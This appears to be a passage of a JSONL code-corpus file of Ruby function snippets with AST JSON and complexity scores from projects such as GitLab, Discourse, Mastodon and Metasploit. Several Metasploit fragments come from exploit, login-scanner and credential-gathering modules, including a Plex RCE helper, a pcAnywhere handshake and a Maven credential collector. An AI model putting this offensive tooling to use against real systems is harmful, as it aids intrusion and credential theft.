end","complexity_score":60.03,"ast_json":"{\"type\":\"def\",\"children\":[\"update_settings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bypass_external_auth?\"]},null,{\"type\":\"send\",\"children\":[null,\"validate_classification_label_param!\",{\"type\":\"send\",\"children\":[null,\"application_setting\"]},{\"type\":\"sym\",\"children\":[\"external_authorization_service_default_label\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"application_setting\"]},\"errors\"]},\"any?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"enabled_git_access_protocol\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"all\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"enabled_git_access_protocol\"]},{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"update_terms\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"terms\"]}]}]},{\"type\":\"send\",\"children\":[null,\"update_default_branch_protection_defaults\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"default_branch_protection_defaults\"]}]}]},{\"type\":\"send\",\"children\":[null,\"update_legacy_default_branch_protection_defaults\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"default_branch_protection\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_to_outbound_local_requests_whitelist\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"add_to_outbound_local_requests_whitelist\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"performance_bar_allowed_group_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group_id\",{\"type\":\"send\",\"children\":[null,\"process_performance_bar_allowed_group_id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"application_setting\"]},\"errors\"]},\"any?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"performance_bar_allowed_group_id\"]},{\"type\":\"lvar\",\"children\":[\"group_id\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"usage_stats_updated?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"skip_usage_stats_user\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"usage_stats_set_by_user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@application_setting\"]},\"assign_attributes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"except\",{\"type\":\"sym\",\"children\":[\"auto_approve_pending_users\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"invalidate_markdown_cache?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@application_setting\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"local_markdown_version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@application_setting\"]},\"local_markdown_version\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@application_setting\"]},\"save\"]}]}]}","id":"6bc98793-3e6d-4d7d-8dec-006078d1f607"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/riff.rb","start_line":27,"raw_source":"def riff_list_chunk(tag, type, data)\n\n    len = data.length + 4\n    padding = len % 2\n\n    return tag + [len].pack('V') + type + data\n  end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"riff_list_chunk\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]},{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"len\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]},\"+\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"lvasgn\",\"children\":[\"padding\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"len\"]},\"%\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"len\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}]}","id":"16fa640c-0434-48f9-a502-d2d2b14c056e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/plex_unpickle_dict_rce.rb","start_line":198,"raw_source":"def ret_server_info\n    print_status('Gathering Plex Config')\n    res = send_request_cgi(\n      'uri' => '/',\n      'headers' => { 'X-Plex-Token' => datastore['PLEX_TOKEN'] }\n    )\n    unless res && res.code == 200\n      return nil\n    end\n\n    return Hash.from_xml(res.body)\n  end","complexity_score":12.53,"ast_json":"{\"type\":\"def\",\"children\":[\"ret_server_info\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Gathering Plex Config\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X-Plex-Token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PLEX_TOKEN\"]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"from_xml\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]}]}]}]}","id":"6de2b029-4223-4ba3-9c27-0dc669d1c2f4"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/app/interactors/syncs/update_sync.rb","start_line":7,"raw_source":"def call\n      unless context\n             .sync\n             .update(context.sync_params)\n        context.fail!(sync: context.sync)\n      end\n    end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"sync\"]},\"update\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"sync_params\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"fail!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sync\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"sync\"]}]}]}]}]}]}","id":"fe671cc0-078b-4e48-87c5-d1cab2f13de2"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/category_serializer.rb","start_line":129,"raw_source":"def custom_fields\n    object.custom_fields\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"custom_fields\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"custom_fields\"]}]}","id":"0db14004-d961-4c00-94f5-5806ad537874"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/flask_unsign.rb","start_line":70,"raw_source":"def self.decode(value)\n              parse(value)[:deserialized]\n            end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"decode\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parse\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"deserialized\"]}]}]}","id":"8a97d7ac-5b5b-4a3a-b129-2769ace45920"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/redundant_splat_expansion.rb","start_line":160,"raw_source":"def method_argument?(node)\n          node.parent.call_type?\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"method_argument?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent\"]},\"call_type?\"]}]}","id":"474f5cd4-4671-4625-9f33-8e20879232e0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/login_scanner/db2.rb","start_line":132,"raw_source":"def valid_response?(response)\n          response && response.length > 0\n        end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_response?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"b09b163f-8c3f-4ee6-9cc3-bcc4be8320f5"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/jobs/regular/shared_conversation_adjust_upload_security.rb","start_line":41,"raw_source":"def update_target(target_id, target_type)\n      # NOTE: Only Topics are supported for now, in future we will need a more flexible\n      # way of doing this.\n      if target_type == \"Topic\"\n        topic = target_type.constantize.find_by(id: target_id)\n        return if topic.blank?\n        TopicUploadSecurityManager.new(topic).run\n      end\n    end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"update_target\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target_id\"]},{\"type\":\"arg\",\"children\":[\"target_type\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"Topic\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_type\"]},\"constantize\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"target_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicUploadSecurityManager\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"topic\"]}]},\"run\"]}]},null]}]}","id":"bc744620-1219-4aa9-9411-3640e991eff2"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/rest/announcement_serializer.rb","start_line":44,"raw_source":"def url\n      ActivityPub::TagManager.instance.url_for(object)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"url_for\",{\"type\":\"send\",\"children\":[null,\"object\"]}]}]}","id":"43ca5e22-fc63-4e01-a59c-7bcf7cfd8e44"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/security/ci_configuration/sast_parser_service.rb","start_line":70,"raw_source":"def analyzer_enabled?(analyzer_name)\n        # Unless explicitly listed in the excluded analyzers, consider it enabled\n        sast_excluded_analyzers.exclude?(analyzer_name)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"analyzer_enabled?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"analyzer_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sast_excluded_analyzers\"]},\"exclude?\",{\"type\":\"lvar\",\"children\":[\"analyzer_name\"]}]}]}","id":"005aa5d9-6d4e-424f-862b-19c862427a59"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/service_awx.rb","start_line":42,"raw_source":"def build_stack_create_options\n    # job template from dialog_options overrides the one copied from service_template\n    dialog_options = options[:dialog] || {}\n    if dialog_options['dialog_job_template']\n      self.job_template = ConfigurationScript.find(dialog_options['dialog_job_template'])\n    end\n\n    raise _(\"job template was not set\") if job_template.nil?\n\n    build_stack_options_from_dialog(dialog_options)\n  end","complexity_score":16.5,"ast_json":"{\"type\":\"def\",\"children\":[\"build_stack_create_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dialog_options\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"dialog\"]}]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dialog_options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"dialog_job_template\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"job_template=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConfigurationScript\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dialog_options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"dialog_job_template\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job_template\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"job template was not set\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"build_stack_options_from_dialog\",{\"type\":\"lvar\",\"children\":[\"dialog_options\"]}]}]}]}","id":"47dbded9-6bfe-4c4c-8e18-be01b3ab7779"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/session_controller.rb","start_line":388,"raw_source":"def passkey_login\n    raise Discourse::NotFound unless SiteSetting.enable_passkeys\n\n    params.require(:publicKeyCredential)\n\n    security_key =\n      ::DiscourseWebauthn::AuthenticationService.new(\n        nil,\n        params[:publicKeyCredential],\n        session: server_session,\n        factor_type: UserSecurityKey.factor_types[:first_factor],\n      ).authenticate_security_key\n\n    user = User.where(id: security_key.user_id, active: true).first\n\n    if user.email_confirmed?\n      login(user, passkey_login: true)\n    else\n      not_activated(user)\n    end\n  rescue ::DiscourseWebauthn::SecurityKeyError => err\n    render_json_error(err.message, status: 401)\n  end","complexity_score":33.73,"ast_json":"{\"type\":\"def\",\"children\":[\"passkey_login\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"enable_passkeys\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"NotFound\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"publicKeyCredential\"]}]},{\"type\":\"lvasgn\",\"children\":[\"security_key\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"DiscourseWebauthn\"]},\"AuthenticationService\"]},\"new\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"publicKeyCredential\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"session\"]},{\"type\":\"send\",\"children\":[null,\"server_session\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"factor_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserSecurityKey\"]},\"factor_types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"first_factor\"]}]}]}]}]},\"authenticate_security_key\"]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"security_key\"]},\"user_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"email_confirmed?\"]},{\"type\":\"send\",\"children\":[null,\"login\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"passkey_login\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"not_activated\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"DiscourseWebauthn\"]},\"SecurityKeyError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"err\"]},{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"message\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[401]}]}]}]}]},null]}]}","id":"6ec8502d-d7b0-4abd-865a-2ac546ab6852"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/mail_subscriptions_controller.rb","start_line":22,"raw_source":"def set_user\n    @user = GlobalID::Locator.locate_signed(params[:token], for: 'unsubscribe')\n    not_found unless @user\n  end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"set_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GlobalID\"]},\"Locator\"]},\"locate_signed\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"token\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"for\"]},{\"type\":\"str\",\"children\":[\"unsubscribe\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},null,{\"type\":\"send\",\"children\":[null,\"not_found\"]}]}]}]}","id":"f42273a6-9b35-4ff1-ab23-7c4abb528603"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":1974,"raw_source":"def to_human_reference(from = nil)\n    if cross_namespace_reference?(from)\n      name_with_namespace\n    elsif cross_project_reference?(from)\n      name\n    end\n  end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"to_human_reference\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"from\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cross_namespace_reference?\",{\"type\":\"lvar\",\"children\":[\"from\"]}]},{\"type\":\"send\",\"children\":[null,\"name_with_namespace\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cross_project_reference?\",{\"type\":\"lvar\",\"children\":[\"from\"]}]},{\"type\":\"send\",\"children\":[null,\"name\"]},null]}]}]}","id":"234d39d3-e56b-4dc9-b861-46697650b56b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/partition.rb","start_line":44,"raw_source":"def create_next!\n        create!(id: last.id.next, status: statuses[:preparing])\n      end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create_next!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"last\"]},\"id\"]},\"next\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"statuses\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"preparing\"]}]}]}]}]}]}","id":"cacf41c2-3d2e-4245-8b16-5af605006349"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/gather/maven_creds.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Multi Gather Maven Credentials Collection',\n        'Description' => %q{\n          This module will collect the contents of all users settings.xml on the targeted\n          machine.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => ['elenoir'],\n        'Platform' => %w[bsd linux osx unix win],\n        'SessionTypes' => ['shell', 'meterpreter'],\n        'Compat' => {\n          'Meterpreter' => {\n            'Commands' => %w[\n              core_channel_eof\n              core_channel_open\n              core_channel_read\n              core_channel_write\n            ]\n          }\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [],\n          'Reliability' => []\n        }\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Multi Gather Maven Credentials Collection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module will collect the contents of all users settings.xml on the targeted\\n\"]},{\"type\":\"str\",\"children\":[\"          machine.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"elenoir\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"bsd\"]},{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"osx\"]},{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"shell\"]},{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Meterpreter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Commands\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"core_channel_eof\"]},{\"type\":\"str\",\"children\":[\"core_channel_open\"]},{\"type\":\"str\",\"children\":[\"core_channel_read\"]},{\"type\":\"str\",\"children\":[\"core_channel_write\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]}]}","id":"36d70018-b6ce-4197-8133-61f4135f2de8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb","start_line":128,"raw_source":"def pca_handshake(ip, nsock = self.sock)\n    print_status('Handshaking with the pcAnywhere service')\n    nsock.put(\"\\x00\\x00\\x00\\x00\")\n    res = nsock.get_once(-1, 5)\n    unless res and res.include? 'Please press <Enter>'\n      print_error(\"Handshake(1) failed on Host #{ip} aborting. Error: #{res.inspect}\")\n      return :handshake_failed\n    end\n\n    nsock.put(\"\\x6F\\x06\\xff\")\n    res = nsock.get_once(-1, 5)\n    unless res and res.include? \"\\x78\\x02\\x1b\\x61\"\n      print_error(\"Handshake(2) failed on Host #{ip} aborting. Error: #{res.inspect}\")\n      return :handshake_failed\n    end\n\n    nsock.put(\"\\x6f\\x61\\x00\\x09\\x00\\xfe\\x00\\x00\\xff\\xff\\x00\\x00\\x00\\x00\")\n    res = nsock.get_once(-1, 5)\n    unless res and res == \"\\x1b\\x62\\x00\\x02\\x00\\x00\\x00\"\n      print_error(\"Handshake(3) failed on Host #{ip} aborting. Error: #{res.inspect}\")\n      return :handshake_failed\n    end\n\n    nsock.put(\"\\x6f\\x62\\x01\\x02\\x00\\x00\\x00\")\n    res = nsock.get_once(-1, 5)\n    unless res and res.include? \"\\x00\\x7D\\x08\"\n      print_error(\"Handshake(4) failed on Host #{ip} aborting. Error: #{res.inspect}\")\n      return :handshake_failed\n    end\n\n    res = 